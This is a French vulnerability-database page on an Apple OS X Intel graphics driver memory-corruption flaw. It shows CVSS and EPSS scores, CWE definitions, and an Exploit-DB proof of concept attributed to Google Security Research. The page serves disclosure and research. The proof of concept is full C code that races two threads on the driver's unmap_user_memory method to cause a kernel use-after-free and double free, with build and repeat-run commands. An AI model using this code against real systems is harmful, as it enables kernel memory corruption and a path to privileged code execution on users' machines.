CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Intel driver in the Graphics Drivers subsystem in Apple OS X before 10.11.4 allows attackers to execute arbitrary code in a privileged context or cause a denial of service (memory corruption) via a crafted app, a different vulnerability than CVE-2016-1743.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
7.8
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.11%
–
–
2022-03-20
–
–
2.11%
–
–
2022-04-03
–
–
2.11%
–
–
2022-06-26
–
–
2.11%
–
–
2022-12-25
–
–
2.11%
–
–
2023-01-01
–
–
2.11%
–
–
2023-02-19
–
–
2.11%
–
–
2023-03-12
–
–
–
0.2%
–
2023-03-19
–
–
–
0.2%
–
2023-08-13
–
–
–
0.2%
–
2024-02-11
–
–
–
0.2%
–
2024-03-03
–
–
–
0.2%
–
2024-06-02
–
–
–
0.2%
–
2024-06-23
–
–
–
0.2%
–
2024-08-04
–
–
–
0.2%
–
2024-08-11
–
–
–
0.2%
–
2024-09-22
–
–
–
0.2%
–
2024-10-27
–
–
–
0.2%
–
2024-12-22
–
–
–
0.2%
–
2025-01-12
–
–
–
0.27%
–
2025-03-02
–
–
–
0.2%
–
2025-01-19
–
–
–
0.27%
–
2025-03-09
–
–
–
0.2%
–
2025-03-18
–
–
–
–
3.44%
2025-03-30
–
–
–
–
3.02%
2025-04-10
–
–
–
–
3.02%
2025-04-10
–
–
–
–
3.02,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-03-22 23h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708
The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.
The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
::contains
::get
::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.
The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.
The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.
This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/
//ianbeer
// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread
// repro: while true; do ./ig_gl_unmap_racer; done
// (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp)
/*
Use after free and double delete due to incorrect locking in Intel GPU Driver
The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take
an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory
method.
The Context objects have inline IGHashTable members which store a mapping between those user pointers
and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method
calls in order:
::contains
::get
::remove
on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid
mapped user pointer they will both look up the same value in the hash map and return it.
The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the
::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free.
The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to
the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then
the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again.
This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process.
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <libkern/OSAtomic.h>
#include <mach/thread_act.h>
#include <pthread.h>
#include <IOKit/IOKitLib.h>
struct mem_desc {
uint64_t ptr;
uint64_t size;
};
uint64_t map_user_memory(mach_port_t conn) {
kern_return_t err;
void* mem = malloc(0x20000);
// make sure that the address we pass is page-aligned:
mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
printf("trying to map user pointer: %p\n", mem);
uint64_t inputScalar[16] = {0};
uint64_t inputScalarCnt = 0;
char inputStruct[4096] = {0};
size_t inputStructCnt = 0;
uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;
char outputStruct[4096] = {0};
size_t outputStructCnt = 0;
inputScalarCnt = 0;
inputStructCnt = 0x10;
outputScalarCnt = 4096;
outputStructCnt = 16;
struct mem_desc* md = (struct mem_desc*)inputStruct;
md->ptr = (uint64_t)mem;
md->size = 0x1000;
err = IOConnectCallMethod(
conn,
0x200, // IGAccelGLContext::map_user_memory
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
//return 0;
} else{
printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
}
printf("outputScalarCnt = %d\n", outputScalarCnt);
md = (struct mem_desc*)outputStruct;
printf("0x%llx :: 0x%llx\n", md->ptr, md->size);
return (uint64_t)mem;
}
uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 0;
inputStructCnt = 0x8;
outputScalarCnt = 4096;
outputStructCnt = 16;
*((uint64_t*)inputStruct) = handle;
err = IOConnectCallMethod(
conn,
0x201, // IGAccelGLContext::unmap_user_memory
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
// should be intel integrated graphics (only tested on MBA)
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
mach_port_t gl_context = MACH_PORT_NULL;
uint64_t handle = 0;
OSSpinLock lock = OS_SPINLOCK_INIT;
void go(void* arg){
int got_it = 0;
while (!got_it) {
got_it = OSSpinLockTry(&lock);
}
//usleep(1);
unmap_user_memory(gl_context, handle);
printf("called unmap from thread\n");
}
int main(int argc, char** argv){
// get an IGAccelGLContext
gl_context = get_user_client("IOAccelerator", 1);
// get a IGAccelSharedUserClient
mach_port_t shared = get_user_client("IOAccelerator", 6);
// connect the gl_context to the shared UC so we can actually use it:
kern_return_t err = IOConnectAddClient(gl_context, shared);
if (err != KERN_SUCCESS){
printf("IOConnectAddClient error: %x\n", err);
return 0;
}
printf("added client to the shared UC\n");
handle = map_user_memory(gl_context);
OSSpinLockLock(&lock);
pthread_t t;
pthread_create(&t, NULL, (void*) go, NULL);
usleep(100000);
OSSpinLockUnlock(&lock);
unmap_user_memory(gl_context, handle);
printf("called unmap from main process thread\n");
pthread_join(t, NULL);
return 0;
}